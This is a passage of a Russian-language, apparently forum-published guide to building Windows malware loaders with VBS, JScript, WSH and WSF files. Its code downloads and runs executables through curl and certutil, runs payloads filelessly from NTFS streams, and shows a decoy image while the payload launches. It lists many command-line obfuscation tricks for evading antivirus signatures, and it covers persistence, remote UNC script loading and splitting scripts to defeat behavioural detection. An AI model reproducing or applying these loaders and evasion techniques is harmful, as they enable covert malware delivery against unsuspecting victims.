Тогда батник-однострочник, скачивающий и запускающий пейлоад, будет выглядеть так:

Код:
curl http://localhost/putty.exe -o test.txt&start test.txt

Кроме того, утилита CURL в windows может работать с NTFS потоками. Поэтому, с помощью CURL можно организовать скачивание и бесфайловый запуск пейлоада.
Файл будет скачиваться в NTFS поток, приписанный к текущей папке.
Батник с бесфайловым лоадером на основе curl будет выглядеть вот так:

Код:
curl http://localhost/putty.exe -o %cd%:a&conhost %cd%:a

С помощью переменной %cd% мы задаём текущий каталог (CD = current directory) и приписываем к нему поток с именем ":a".
После этого, с помощью команды conhost, запускаем скачанный нами EXE из этого потока.
Этот способ выгодно отличается от широко известных способов с сохранением временного файла в папку %temp%.

Ранее мы уже расммотрели, что метод run объекта wscript.shell умеет запускать не только файлы, но и батники, записанные одной строкой.
Разместив батник-однострочник с CURL внтури метода run мы получим очень компактный лоадер, работающий в среде WSH:

Код:
wscript.createobject("wscript.shell").run("curl http://localhost/putty.exe -o %cd%:a&conhost %cd%:a")

Тот же самое, но на JScript:

Код:
new ActiveXObject("wscript.shell").run("curl http://localhost/putty.exe -o %cd%:a&conhost %cd%:a")

По причине компактности этого скрипта его значительно проще чистить.
Чистка заключается в маскировке вызова методов run и exec (в основном через организацию 1-2 минутных задержек перед запуском), маскировке строки с доменом или его замена (домены часто попадают в блеклисты) и чистка командной строки, которая будет рассмотрена далее в этой статье.

Отображение JPG или PDF файлов после запуска пейлоада. Размещение файлового пакета внутри JS/VBS скрипта.​

После того как запустился EXE/DLL пейлоад для маскировки действий необходимо сделать отображение JPG или PDF файла.
Оба файла имеют двоичный формат, и их внутри JS/VBS скриптов можно хранить такими же способами, как и EXE/DLL файлы.
Внутри JS/VBS скриптов можно разместить несколько файлов, организовав обращение к ним из скрипта, обращаясь к отдельным файлам по смещению внутри файла и по его размеру.
Такой подход даёт, во-первых, возможонсть размещения внутри JS/VBS файлов нескольких пейлоадов (пакет пейлоадов), разместив в них набор из разных EXE/DLL.
Например, у нас есть связка из нашего софта, написанного в DLL формате, и тимвьювера. Этот набор из двух исполняемых файлов мы можем разместить внутри JS/VBS скрипта.
Кроме исполняемых файлов так же можно хранить внутри скриатов и архивы, запаковав в них весь необходимый набор файлов.
И самой востребованной особенностью этого метода хранения файлов является возможность открыть определённый PDF/JPG файл после запуска скрипта.
Скрипт, запускающий пейлоад и сразу после этого отображающий JPG файл, будет выглядеть вот так:

Код:
var fs=new ActiveXObject("Scripting.FileSystemObject");
var fil=fs.getfile(WScript.scriptfullname);
x1=fil.openastextstream().read(fil.size);
x2=x1.substr(418,195714);
f=fs.getspecialfolder(2)+"\\2.png";
var x3=fs.createtextfile(f);
x3.write(x2);

x=new ActiveXObject("WScript.shell");
x.run(f);
x4=x1.substr(195714+418,468056);
f=fs.getspecialfolder(2)+"\\aaaaaaa";
var x3=fs.createtextfile(f);
x3.write(x4);
x3.close();
x.exec(f);

Скрипт разит на две части. В первой части скрипта мы считываем и открываем картинку из файла, из которого мы стартовали.
Во второй части скрипта аналогичным образом считываем и запускаем EXE файл.
Для настройки скрипта нам нужно указать четыре числа в нескольких местах скрипта: размер картинки, смещение картинки, размер EXE-файла, смещение EXE-файла.
В строке 4 мы пишем числа 418 и 195714 - это размер JS-стаба и размер JPG9файла с картинкой сооветственно.
В строке 11 мы пишем первое число (195714+418) - это размер JS-стаба плюс размер картинки, что даёт смещение EXE файла.
Второе число 468056 это размер файла.

Так же как и в предыдущих примерах, мы отделяем нулевым байтом код скрипта от двоичных данных, хранящихся внутри него.
Файлы друг от друга мы отличаем прибавляя размер текущего файла к текущему смещению файла - так мы получаем указатель на следующий файл.
Сборка такого стаба происходит в командной строке, делается это так: "copy/b js_stub.js+putty.exe+picture.jpg result.js"
Сначала пишем имя стаба, потом последовательно через символ "+" перечисляем какие файлы должны будут вписаны внутрь скрипта.Результат созраняется в файле result.js
Порядок записи сохраняемых в скрипт файлов можно менять, что будет полезно при чистке. Но файл с JSscript стабом должен всегда идти первым.

Отдельное краткое отступление про командную строку.
В реальной практике работы всегда стараются пользоваться командной строкой вместо графического интерфейса.
Удобство командной строки особенно сильно проявляется при коллективной работе.
Например, один работник объясняет другому как сделать какую-то последовательность действий, которую надо сделать через графический интерфейс.
Как будет выглядеть такое объяснение: нажми мышкой туда-то, открой такое-то окошко и т.д. Иногда надо будет прислать скришот с действиями которые надо сделать, а в отдельных случаях и видео.
На разных компах графический интерфейс может отличаться - из-за этого будут дополнительные трудности.
Гораздо проще прислать в мессенджер командную строку, которая проделывает нужные действия - это будет во много раз быстрее.
Командная строка инвариантна (всегда одинакова) для разных операционных систем и компьютеров. Тот же Powershell и cmd.exe будут всегда одинаковы, что на Windows 7 что на Windows 10, что на Windows 11.
Взаимодействие между работниками в команде многократно ускоряется, если они коммуницируют между собой языком командной строки.
Кроме того, командная строка позволяет автоматизировать многие рутинные процесы. Например, те действия, которые постоянно делаются в GUI одну минуту можно заменить батником, который их сделает за секунду.
Поэтому работник в команде обязательно должен уметь пользоваться командной строкой (как powershell так и cmd), и именно по этой причине в этих статьях часто фигурирует командная строка виндовс.

Пуск исполняемых файлов и отображение картинки в JPG формате мы делаем одним и тем же методом, через WScript.Shell.Run()
Этот метод определяет что нужно делать с файлом по его внутренней структуре. Найдя в файле сигнатуру MZ/PE будет запущен исполняемый двоичный код, найдя сигнуатуру JPEG/JFIF будет запущена процедура отображения картинки.
Кроме того, с помощью метода Run объекта WScript.Shell можно запускать батники, записанные одной строкой. Это удобно тем, что можно одной командой запустить сразу несколько файлов.
Рассмотрим такую запись:

Код:
wscript.createobject("wscript.shell").run("cmd /c start calc&start notepad&echo Test&pause")

Результат выполнения данного скрипта будет следующий:

run_bat_from_vbs.png


Мы видим что одновременно запустился калькулятор и блокнот, а так же видим срабатывание команды BAT-скрипта echo.
Это означает, что мы можем полноценно пользоваться скриптами, написанными в BAT/CMD формате, что позволяет нам организовать более сложный сложный алгоритм пуска файлов, чем просто запуск файла по определённому пути.
Например, перед запуском файла, мы можем отключить дефендер средствами командной строки, можем организовать задержку перед пуском файла командой "timeout/t N" - можно пользоваться всеми обширными возможностями командной строки Windows.
Но ещё более важной особенностью строки является возвожность её морфинга, для снятия детектов.
Например, блокнот в комадной строке можно вызвать написав в командной строке "notepad", но можно и написав эту команду например вот так:

Код:
^n^o^t^e^p^a^d

Копируем эту команду в окно cmd и запускаем - как ни в чём не бывало запустится блокнот.
Символы "^" командный процессор Windows просто проигнорировал, в то же время вставка этих символов может размыть сигнатуру и снять детект.
Подобная запись прекрасно работает из VBS-скрипта:

Код:
wscript.createobject("wscript.shell").run("^n^o^t^e^p^a^d")

И теперь переходим к следующей теме - различные способы морфинга командной строки.

Морфинг командной строки.​

Морфинг (видоизменение) командной строки это изменение её таким способом, чтобы произошло размытие сигнатуры и снятие детекта ипри этом не была потеряна её функциональность.

1. Использование кавычек внутри путей и имени файлов

Код:
dir"
cmd/c %WINDIR%\SY""""ST"""""EM32\"""""""c"""""""""""a""""""""l"""""""""c""""""""""""."""""""""e"""""""""""x"""""""""e"""""""""
c""""m""""""d

Парсер cmd выбрасывает из пути содержащиеся в нём кавычки.
Кавычки парсер использует в том случае, если в пути находятся пробелы.
Тогда всё то, что находится внутри кавычек, он считает путём содержащим пробел, а сам пробел не считается разделителем аргументов.
После этого действия парсер cmd все кавычки внутри пути попросту игнорирует - в результате этого мы между символами пути можем вписать любоё количество кавычек.

2. Лишние символы-разделители каталогов:

Код:
cmd/c %WINDIR%\\\\\\\\\\SYSTEM32\\\\\\\\\\\calc.exe

Парсер CMD устроен так, что любая последовательность слешей (как прямых так и обратных) считается за один символ.

3. Пробел между cmd/c и именем файла можно заменить на 2 кавычки:

Код:
cmd/c""%WINDIR%\SYSTEM32\calc.exe

4. Использование перенаправления вывода << и >>

Код:
cmd/c %WINDIR%\SYSTEM32\calc.exe>>%@$%%234%34%#5534%

В конце команды таким способом можно дописать случайно сгенерированный текст.
У способа есть недостаток - в текущей папке создастся файл с тем же именем, что и сгенерированный текст.

5. Символ & после имени файла (если два символа &&, то тогда за символами должна быть непустая строка

Код:
calc.exe&
calc.exe&432423424234
calc.exe&&432423424234

Символы "&" b "&&" в батниках используются для однострочной записи команд. Это символы разделителей команд, подобно точке с запятой в C++.
Написание в конце команды символа & равноценно указанию последующей пустой команды.
За символами & и && пишем произвольный текст, батник на этот текст отреагирует всего лишь сообщением о неправильной команде.

6. Запуск через команду call

[/code]
cmd/c call calc
Код:
В языке bat/cmd есть команда вызова подпрограмм call.
Кроме вызова подпрограмм она может вызывать как другие батники, так и обычные EXE/DLL.
Поэтому запись "file.exe" и "call file.exe" абсолютно равносильна.

7. Обратный путь

[code]
..\\.\\..\\..\\WINDOWS\SYSTEM32\calc.exe
................\\.\\..\\..\\WINDOWS\SYSTEM32\calc.exe
................................................\\.\\..\\..\\WINDOWS\SYSTEM32\calc.exe

Каталог, расположенный на один уровень ниже в дереве каталогов, в командной строке обозначается двумя точками ".."
Чтобы добраться до корневого каталога можно указать произвольное количество каталогов с именем "\\..\\"
Как бы много раз делаем переход на каталог ниже, пока не упрёмся в самое начало.
И дальше от этого начала отсчитываем уже путь к файлу.
В самом начале можно поставить произвольное количество точек. В остальных элементах пути можно ставить либо одну, либо две точки.

8. Начиная с символа "=" последовательность символов за командой воспринимается как параметры командной строки. При этом пробел между командной строкой и командой отсутствует.

Код:
notepad=12345

9. Команду goto в батнике можно использовать подобно команде nop в ассемблере. Она ничего не делает и при этом не выдаёт ошибок.

Код:
cmd/c goto&goto&goto&goto&goto&call calc&goto

Подобно тому как ассемблерный код разбавляем командами nop, чтобы размыть сигнатуру, то же самое можно делать и с командной строкой с помощью команды goto.

10. Символ ^

Код:
^calc
^d^i^r

Символ "^" в командной строке используется для экранирования спецсимволов. Например, команда "echo &" не выведет на экран ничего, но команда "echo ^&" выведет на экран символ "^".
Если этот символ экранирование стоит перед обычным символом, то он просто игнорируется.
Поэтому его можно вставлять между отдельными символами команд.

15. Символы, заменяющие пробел

Код:
echo\Test
echo/Test
echo:Test
echo;Test
echo.Test
echo,Test
echo+Test
echo(Test  (но не обратная скобка ")" - так выдаст ошибку !)
echo[Test
echo]Test
echo=Test

16. Команда rem. Аналогично команде goto из пункта 13 может работать подобно инструкции nop в ассемблере. Кроме этого, за командой rem можно написать строку из случайных символов.
Обратите внимание, здесь так же работают символы замены пробела из предыдущего пункта.

Код:
rem 23423423423424242344
rem/23423423423424242344
rem\53453453453534534534
rem:53453453453534534534

17. Использование в пути файла как прямых, так и обратных слешей. Вместо одного слеша их может быть несколько.

Код:
cmd/c C://////\\////\\\\\\\\\\\\\\\\WINDOWS\\\\\////\\\SYSTEM32\\////\\\\\\calc.exe

18. Вызов wmic из cmd.exe с искаженной командной строкой

Код:
wmic process call create ^calc&
wmic process call c^reate &&^c^a^l^c&^c^a^l^c&

При этом если вызвать wmic минуя cmd.exe (например через сочетание кнопок Win-R) то подобных вещей не наблюдается.
То есть получается, что cmd.exe предварительно обрабатывает полученную строку и уже в нормальном виде передаёт её в wmic.exe
В командной строке, которую передаём параметром в wmic, можно использовать все перечисленные здесь правила морфинга командной строки.

19. Запуск калькулятора в скобках

Код:
cmd/c(calc)
cmd/c((((((((((((((((((((((((calc))))))))))))))))))))))))  - тут число правых и левых скобок должно совпадать

20. Случайная строка перед вызовом калькулятора и после него.
Обратите внимание на то, что вторая строка начинается с символа ":" и поэтому воспринимается как комментарий
Поэтому ошибку cmd.exe выдаёт только на строку перед calc.exe

Код:
082384902349023492389048234823842830482398402938492384lkfsdkfklsklsjfldsjfklsjfklfj234234234234234||calc||:42342342342489237487238947238947237489237894749238423423492394-23940-92304239402394

В языке командной строки windows комментарии можно задать двумя способами. Первый способ это команда rem, второй способ это строки начинающиеся с двоеточия ":"
Строки начинающиеся с двоеточия так же являются метками перехода для команд goto и call.
В таких метках мы можем писать произвольные последовательности строк.

20. Маскировка имени запускаемого файла через конкатенацию строк или отдельных символов

Код:
set a=c&set b=a&set c=l&set d=c
cmd/c %a%%b%%c%%d%

При этом если написать всё одной строкой set a=c&set b=a&set c=l&set d=c&cmd/c %a%%b%%c%%d% - так работать не будет
Вызов cmd обязательно должен быть на новой строке

21. Использования символа текущего каталога "/." или "\."

Код:
    /.\windows/./././././././././notepad.exe

Для срабатывания необходимо чтобы был выбран тот же текущий диск, на котором лежит папка windows.
Для срабатывания с любого диска можно написать вот так:

Код:
c:&/.\windows/./././././././././notepad.exe

Объединили в одну строку команду выбора диска "c:" и команду вызова блокнота.

22. Множественные кавычки за именем файла:

notepad.exe"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

Кавычки за именем файла будут выброшены парсером cmd.

23. Замена буквы диска, на котором установлена операционная система, переменной %systemdrive%

Код:
cmd/c %systemdrive%\PATH_TO_FILE\putty.exe

Переменная %systemdrive% возвратит букву диска с двоеточием (например "C:"), в результате будет сформирован такой путь: C:\PATH_TO_FILE\putty.exe

Все перечисленные методы морфинга комнадной строки можно комбинировать между собой, изменив и зашифровав командную строку до неузнаваемости.

Файлы WSH​

WSH это сокращение от Windows Scripting Host, подсистемы виндовс которая отвечает за обработку и выполнение JS и VBS файлов.
Сами по себе WSH файлы не содержат внутри себя программного кода, но они содержат ссылку (или путь) на JS или VBS файл, который будет запущен при нажатии в проводнике на WSH файл.
С помощью *.WSH файлов так же можно запускать VBS и JS скрипты, за тем отличием что внутри этих файлов самих скриптов не содержится. Вместо этого там прописываются ссылки на JS/VBS скрипты.
Так через через WSH файлы можно запусукать и WSF файлы, которые будут далее рассмотрены в этой статье.
Самый простейший WSH файл будет выглядеть так:

Код:
[scriptfile]
path=test.vbs

При нажатии в проводнике на файл с таким содержимым запустится скрипт test.vbs, лежащий в той же папке, что и WSH файл.
В секции с именем scriptfile прописывается путь к VBS или JS файлу, который указывается в переменной path
У файла должно быть обязательно указано расширение: либо *.vbs, либо *.js
Так как именно по расширению файла подсистема Windows Scripting Host определяет, на каком языке написан скрипт, и применяет к файлу соответствующий скриптовый интерпретатор.
Если указать расширение отличное от *.js или *.vbs, или перепутать расширение, то тогда будет выдано сообщение об ошибке: "отсутствует исполняющее ядро для данного типа файла".
Часто бывает так, что виндовс определяет тип файла по его структуре, а не по расширению, и эту особенность очень удобно использовать.
Но в данном случае это не работает и расширение нужно указывать обязательно.

wsh_no_script_extension_error.png


Внутри WSH файла можно указать только один файл, несколько файлов прописать не получится:

Код:
[scriptfile]
path=file1.vbs
path=file2.vbs
path=file3.vbs

В этом случае запустится только первый прописанный файл с именем file1.vbs, остальные записи в переменную path будут проигнорированы.
Между строкой "[scriptfile]" и строкой "path=" можно прописывать какие угодно строки. Они будут проигнорированы интерпретатором скриптов и WSH файл всё равно останется работоспособным в этом случае.

Код:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[scriptfile]
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
path=file1.vbs
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
DDDDDDDDDDDDDDDDDDDDDDDDD

Это очень полезная особенность, которую можно использовать для чистки WSH файлов, разбавляя файл мусорными данными.
Строку с путём и имя файла то же можно морфить, ставя между лексемами кучу пробелов или символов табуляции.

Строку с путём можно так же отодвинуть далеко за пределы видимости текстового окна, что даёт дополнительную маскировку:

Если перед именем файла поставить точку, то между точкой и именем файла можно вписать большое количество символов "\" и "/", например так:

Код:
[scriptfile]
path=.////////////////\\\\\\\\\test.vbs

Точка и следующий за ней символ "\" или "/" является обозначением текущего каталога. Но если написать много символов "\" и "/" то это всё равно будет воспринято как один символ.
Это можно так же использовать если прописывается полный путь к VBS/JS файлу, записывая разделители пути как множественную комбинацию символов "\" и "/"
Например так:

Код:
[scriptfile]
path=С:///////////\\\\\\\\\\\\\\\\\\\SOMEPATH\\\\\\\\\\\\\\\\\\\\//////test.vbs

Так же у *.vbs и *.js файлов можно полностью убрать имя файла, оставив только расширение. То есть создать файлы с именами ".js" и ".vbs"
Такие файлы с нулевым именем винда считает корректными и то же нормально запускает их.
Тогда путь к скрипту можно записать совсем уже необычным способом:

Код:
[scriptfile]
path=С:///////////\\\\\\\\\\\\\\\\\\\SOMEPATH\\\\\\\\\\\\\\\\\\\\//////.vbs

Удивительно, но такая запись вполне корректно запустит файл, лежащий по пути C:\SOMEPATH\.vbs
Все эти манипуляции с путями к VBS/JS файлам очень полезны для морфинга файла и его чистки.

Так же вместо файла можно указать файловый поток, приписав его имя через двоеточие:

Код:
[scriptfile]
path=.wsh:test.vbs

Например, архиватор Winrar позволяет архивировать не только файлы, но и присоединённые к нему файловые потоки.

winrar_ntfs_streams.png


На скрипшоте видно, что Винрар позволяет не только сохранять NTFS потоки, но и жёсткие ссылки. Что то же является дырой в безопасности.
Например, можно сохранить жёсткую ссылку на заведомо существующий файл в системе: C:\WINDOWS\SYSTEM32\cmd.exe, C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe и тому подобные файлы.

Если мы запакуем с помощью архиватора Winrar WSH файл с присоединённым к нему файловым потоком с именем "test.vbs", то на целевом компьютере он так же распакуется с приписанным к нему потоком.
И при нажатии на этот WSH файл в проводнике произойдёт запуск скрипта test.vbs из файлового потока.
Стандартными средствами Windows будет виден только WSH файл, а основной скрипт, спрятанный в файловом потоке, обнаружить будет крайне проблематично.
Увидеть его получится только малоизвестными командами, типа "dir/R"

WSH файлы можно вызывать из NTFS потоков, приписанных к какому-либо файлу.
Например, набрав в командной строке "wscript somefile:test.wsh" иди "cscript somefile:test.wsh"
Wscript и cscript это и есть WSH движок виндовс, отличие этих двух программ в том, что WScript это для тех скриптов, которые используют графический интерфейс.
А cscript это для тех, которые выводят данные в стандартную текстовую консоль.
За исключением этого отличия wscript и cscript это вообщем-то одно и то же.
VBS/JS файл, который вызывается из WSH файла спрятанного в NTFS потоке, можно так же спрятать в отдельный NTFS поток. Он так же может быть вызван из WSH файла, содержащегося в параллельном NYFS потоке.
Так же можно маскировать расширение JS/VBS файлов. Указав, например, для файла со скриптом расширение TXT.
В этом случае утилитам cscript и wscript необходимо указать, каким интерпретатором разбирать данный файл.

Код:
wscript /E:vbscript file_with_vb_script.txt
wscript /E:jscript file_with_js_script.txt

В проводнике, в текстовых редакторах и любых других программах файл somefile будет выглядеть как ничем не примечательный файл. Нагрузка будет надёжно спрятана в NTFS потоках.
Такой файл так же можно пробрасывать через архив WinRAR, с включенной опцией сохранения NTFS потоков.

Так же через NTFS потоки можно организовать бесфайловый способ запуска WSH файлов.
Делается это следующей командой:

Код:
certutil.exe -urlcache -split -f http://localhost/test.vbs %CD%:test.vbs
echo [scriptfile]>%CD%:testfile.wsh
echo path=%CD%:test.vbs>>%CD%:testfile.wsh
wscript %CD%:testfile.wsh

В этом примере скачивание файла производится с помощью команды certutil, которая умееет качать файлы аналогично команде CURL, так же рассмотренной в данной статье.
Подобно команде CURL команда cerutil умеет сохранять файл в отдельный NTFS поток.
Здесь мы так же пользуемся особенностью системы NTFS, которая заключается в том, что каталоги в ней считаются файлами, а значит к ним то же можно приписывать NTFS-потоки.
Имя файла %CD%:test.vbs обозначает текущую папку с приписанным к ним NTFS потоком с именем test.vbs
Далее, используя команды ECHO с перенаправлением ввода-вывода через символы ">" и ">>", мы помещаем в NTFS поток текуцщей папки WSH-скрипт с именем testfile.wsh
Первая команда использует единичный символ перенаправления ввода-вывода ">" - он указывает на то, что файл создаётся заново и его предыдущее содержимое перезаписывается.
Вторая команда использует двойной символ перенаправления ввода-вывода ">>" - он указывает на то, что к текущему содержимому файла добавляется новая строка, указанная в команде ECHO, и перезапись содержимого файла не производится.
Самой последней строкой мы с помощью команды wscript вызываем скрипт testfile.wsh из только что созданного с помощью команд echo NTFS-потока.

Этот метод можно использовать как способ старта после перезагрузки, приписыв дополнительные NTFS потоки к любому легитмному исполняемому файлу, прописанному в одной из областей автозагрузки (реестр, папка Autorun и т.д.)
Или приписав NTFS-потоки к самой папке автозагрузки.

Далее, внутри WSH файлов можно переносить любые двоичные файлы произвольного размера, например EXE/DLL файлы.
Запускаем следующую команду:

Код:
copy/b test.wsh+putty.exe wsh_with_binary_data.wsh

В результате мы получаем WSH файл, внутри которго содержится EXE/DLL, который может быть извлечён и запущен VBS скриптом, запускаемым из WSH файла.
Важный момент: строка "path=filename.vbs" всегда должна заканчиваться переводом строки.
Это нужно для того, чтобы скопированные в конец WSH файла бинарные данные не воспринимались как часть строки, содержащей путь к VBS скрипту.

Интересно будет определить, а какая здесь максимально возможная длина строки, содержащей в себе имя файла ?
Сделаем WSH файл с таким содержимым:

Код:
[scriptfile]
path=.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

При его запуске выдаётся сообщение:

long_path_wsh_no_core_msg.png


Но добавив к имени файла всего лишь одну букву "A" мы в этом случае получаем уже другое сообщение, о нехватке памяти:

error_memory_exceeded.png


Подсчитав количество букв "A" мы определяем, что размер буфера под строку внутри подсистемы WSH составляет ровно 242 байта. При морфинге строки учитываем это значение, чтобы его не превышать.
Кратко о том, как можно быстро определять точные размеры таких строк.
Допустим, у нас есть короткая строка, на которое выдаётся сообщение N1, и длинная строка, на которую выдаётся сообщение N2. Нам нужно определить минимальный размер длинной строки, которая выдаст сообщение номер 2.
Для этого мы сначала делаем строку N2 заведомо большой, например 10000 символов. В этом случае мы закономерно получим сообщение N2.
Делим эту длину на 2, и получаем строку в 5000 байт. Если на строку такой длины выдаётся по прежнему сообщение N2, то искомое значение точно находится в меньшей половине, то есть в диапазоне от 0 до 5000.
Продолжаем поиск значения в диапазон от 0 до 5000, так же разделив его на 2, то есть получив строку длиной 2500. И при строке такой длины мы уже получаем сообщение N1.
Это будет означать, что искомое значение находится в диапазоне от 2500 до 5000.
Таким образом, продолжая последовательные деления на 2, мы очень быстро отыщем нужное нам значение длины строки.
Вы скорее всего уже увидели, что это алгоритм бинарного поиска. Только делаем мы его не программно, а вручную.
Если нам необходимо найти таким способом нужное значение для строки в 1 мегабайт размером, то нам понадобится проделать всего лишь log2(1024*1024)=20 итераций.

В WSH файлах можно так же указывать UNC путь к папке на удалённом сервере:

Код:
[scriptfile]
path=\\x.x.x.x\shared_files\test.vbs

Здесь x.x.x.x это IP-адрес VPS/VDS сервера. В этом случае исполняемый код до запуска WSH файла вообще не будет присутствовать на компе.
Всё что будет первоначально попадать на комп в виде WSH файла это всего лишь текстовый файл из двух строк, в которых будет прописан путь к VBS/JS скрипту.
Этот двухстрочный WSH файл очень легко чистится, путём добавления между строк случайных данных и морфинга строки с путём.
UNC путь можно указать как двумя символами "\\", написанными в начале пути, так и двумя символами "//". В обоих случаях это будет корректной записью. Такая простая замена иногда вполне может снять детект.
Так же для UNC пути работают те же способы морфинга строки, которые мы только что рассмотрели для обычных файловых путей.
Недостаток способа - нужен будет отдельный сервак, на котором будет размещена расшаренная папка.

В WSH файлах есть так же дополнительная секция [Options]

Код:
[Options]
Timeout=10

Из секции Options полезным будет только значение Timeout, которое задаёт максимальное время работы скрипта в секундах.
Например, если мы запустим из WSH файла тестоый VBS/JS скрипт который выводит месседжбокс, то при опции timeout=10 месседжбокс провисит ровно десять секунд, после чего исчезнет.
Это может быть полезным, когда нам нужно сделать автоматическое прерывание работы скрипта по истечении заданного промежутка времени.
Дополнительные опции, прописываемые в секцию [Options], можно увидеть нажав в проводнике на WSH файла правую кнопку мыши и открыв вкладку "Свойства"

WSF файлы​

WSF расшифровывается как Windows Scripting File. Это формат файлов позволяет объеденить в одно целое несколько скриптов, написанных на разных языках.
Например, в одном WSF файле можно разместить скрипты на VBS, JS и Питоне, и организовать взаимодействие между ними и обмен данными между этими скриптами.
В рассматриваемом нами вопросе нам прежде всего интересно то, что внутри WSF файлов можно разместить программный код, позволяющий запустить произвольный EXE/DLL файл.
Простейший WSF файл выглядит так:

Код:
<job>
<script language=vbscript>
    msgbox"Test":createobject("wscript.shell").run("calc")
</script>
</job>

Между тегами "JOB" пишется пакет скриптов, который в нашем случае состоит из одного скрипта, который выдаёт тестовое сообщение и запускает калькулятор.
Тег <script> подчиняется тем же правилам что и в языке HTML. Внутри открывающего тега прописывается параметр language, в котором указывает на каком языке написан скрипт.
В данном случае это VBScript.
Если этот параметр не указать, то скрипт по умолчанию считается написанным на jscript

Так же возможен компактный вариант записи всего WSF файла в одну строку:

Код:
<job><script language=vbscript>msgbox"Test":createobject("wscript.shell").run("calc")</script></job>

Теперь дальше о том, как чистить такие файлы. Что и как, и в каких пределах можно поменять или добавить в WSF файл, чтобы пропал детект.
Первое, буквы тегов нечувствительны к регистру и к количеству разделителей между лексемами. Тег можно записать, например, так:

Код:
<ScRiPt             lAnGuAge            =              VbScRiPt>

Между символом "<" и именем тэга пробелы ставить нельзя, символ "<" плюс "имя" является единой лексемой.
Но до и после закрывающего символа ">" можно ставить произвольное количество пробелных символов (Tab и Space).

Теги можно разбавлять мусорными параметрами:

Код:
<ScRiPt     a="Here is a random data"            lAnGuAge            =              VbScRiPt>

Если в параметре используются пробелные символы, то можно использовать как символ Tab, так и Space.
При этом нужно параметр нужно заключить в кавычки, которые бывают трёх видов: первый вариант "", второй вариант '' и третий ``

Внутри тегов и внутри значений параметров можно делать перенос строки:
Код:
<ScRiPt     a="Here
        is a random data"     
lAnGuAge            =              VbScRiPt
>

Внутри параметров вообще можно разместить любые байты, кроме нулевого.

wsf_binary_data_in_parameters.png


Даже с такой, казалось бы, некорректной строкой, WSF файл остаётся работоспособным.
Так же пространство между тегами можно заполнять любыми байтами, отличными от нуля.
Вообще, в документации на WSF файлы написано про тег комментариев <COMMENT>, внутри которого можно писать любые данные. Но на самом деле всё прекрасно работает и без него.

wsf_zero_byte.png


Нулевой байт работает как признак окончания WSF файла, поэтому парсер WSF файлов отбрасывает всё что находится за нулевым байтом.
Поэтому внутри WSF кода нулевой байт использовать нельзя, но за этим кодом вполне можно.
Это означает, что внутрь WSF файла можно поместить EXE/DLL файл. Этот файл с помощью команды бинарного копирования записывается в конец WSF файла следующим образом:

Код:
copy/b file.wsf+putty.exe file_with_embedded_exe.wsf

В этом случае нулевые байты, которые всегда содержаться внутри таких файлов, не будут никак влиять на работоспособность WSF файла.

Если переименовать WSF файл в HTA, то скрипт заключенный между тегами <script></script> без ошибок выполнится интерпретатором mshta.exe
Остальные теги, специфичные для wsf-файла, интерпретатор mshta просто проигнорирует.
Это может быть оказаться полезным, если нам нужно будет сменить расширения файла.
Например, прописавшись в автозагрузке, мы можем после каждого запуска скрипта менять не только имя файла, но и расширение. Чередовать расширение HTA или WSF, дополнительно к смене имени файла.

Основная идея технологии WSF это объединение и координация работы скриптов, написанных на разных языках программирования, для выполнения какой-то определённой задачи.
Например, в рамках одной задачи, нам нужно отсортировать некий список email адресов из текстового файла.
Тогда внутри WSF файла мы можем расписать задачу из двух скриптов. Первый скрипт, написанный на Visual Basic, считывает данные из файла.
Второй скрипт, написанный на JSCript делает сортировку и отдаёт отсортированные данные первому скрипту, который запишет их обратно в файл.
На один скрипт мы возложили работу с файлами, на другой сортировку - получаются фактически две разных программы, взаимодействие которых обеспечено подсистемой WSF.
Эту особенность работы WSF файлов можно использовать для устранения динамических детектов.
В одном скрипте, написанном на JSCript, поместить процедуру расшифровки и распаковки полезной нагрузки, а во втором, написанном на VBScript, всё остальное.
AV эти два отдельных скрипта не воспринимают как одну целую программу, и применяет набор правил для поведенческого детекта к каждому из скриптов по отдельности, но не к их совокупности.
Если каждый из этих скриптов поместить в отдельный файл и запустить, то они либо выдадут ошибку компиляции, либо выполнят какие-то бессмысленные действия.
Ибо работоспособны только в том случае, если запускаются одновременно, а так же если организовано взаимодействие между ними.
И в результате этого, поведенческие детекты не срабатывают на этих отдельных разрозненных скриптах, и, следовательно, на самом WSF файле.

Внутри WSF файлов существует возможность маскировать создание таких опасных с точки зрения детекта объектов, как, например FileSystemObject или WScript.shell
Можно избежать создания объекта внутри скрипта, переложив эту работу на подсистему WSF.
Делается это с помощью тега <object>

Код:
<job>
<object id="a" progid="wscript.shell"/>
<script language=vbscript>
    a.run("notepad")
</script>
</job>

В данном WSF скрипте мы получили доступ к командной строке и запустили через неё блокнот.
При этом мы не использовали опасный вызов createobject("wscript.shell"), на который часто срабатывают поведенческие детекты.
В теге object мы прописали в параметре progid имя нужного объекта (это объект доступа к командной строке WScript.Shell)
А в параметре id мы назначили ему имя "a".
Прописывание этого тега в WSF файле равносильно следующему программному коду:

Код:
a=createobject("wscript.shell")

Отдельный момент на который стоит обратить внимание: тег object закрывается не символом ">", а двумя символами "/>". Если закрыть одним символом, то интерпретатор WSF выдаст ошибку синтаксиса.

WSF файлы позволяют объединить в одном файле разнородные скрипты и организовать взаимодействие с ними.
Эта особенность WSF-файлов позволяет чистить скрипты от AV.
Например, мы можем декриптор написать на визуал бейсике, а считывание из файла зашифрованого EXE/DLL сделать на яваскрипт.
Тогда, прочитав файл из яваскрипта, мы можем передать прочитанный зашифрованный файл декриптору на визуал бейсике, который возратит зашифрованный файл.
Скриптовый эмулятор AV может обрабатывать только один скрипт, но не их комбинацию и не может отслеживать взаимодействие между разными скриптами.
Хороший метод избавления от динамических детектов это разнести все операции по нескольким разным файлам - декриптор в одном файле, работа с файлами в другом, запуск файла в третьем.
Данный подход верен не только для скриптовых файлов, но и для любых других.
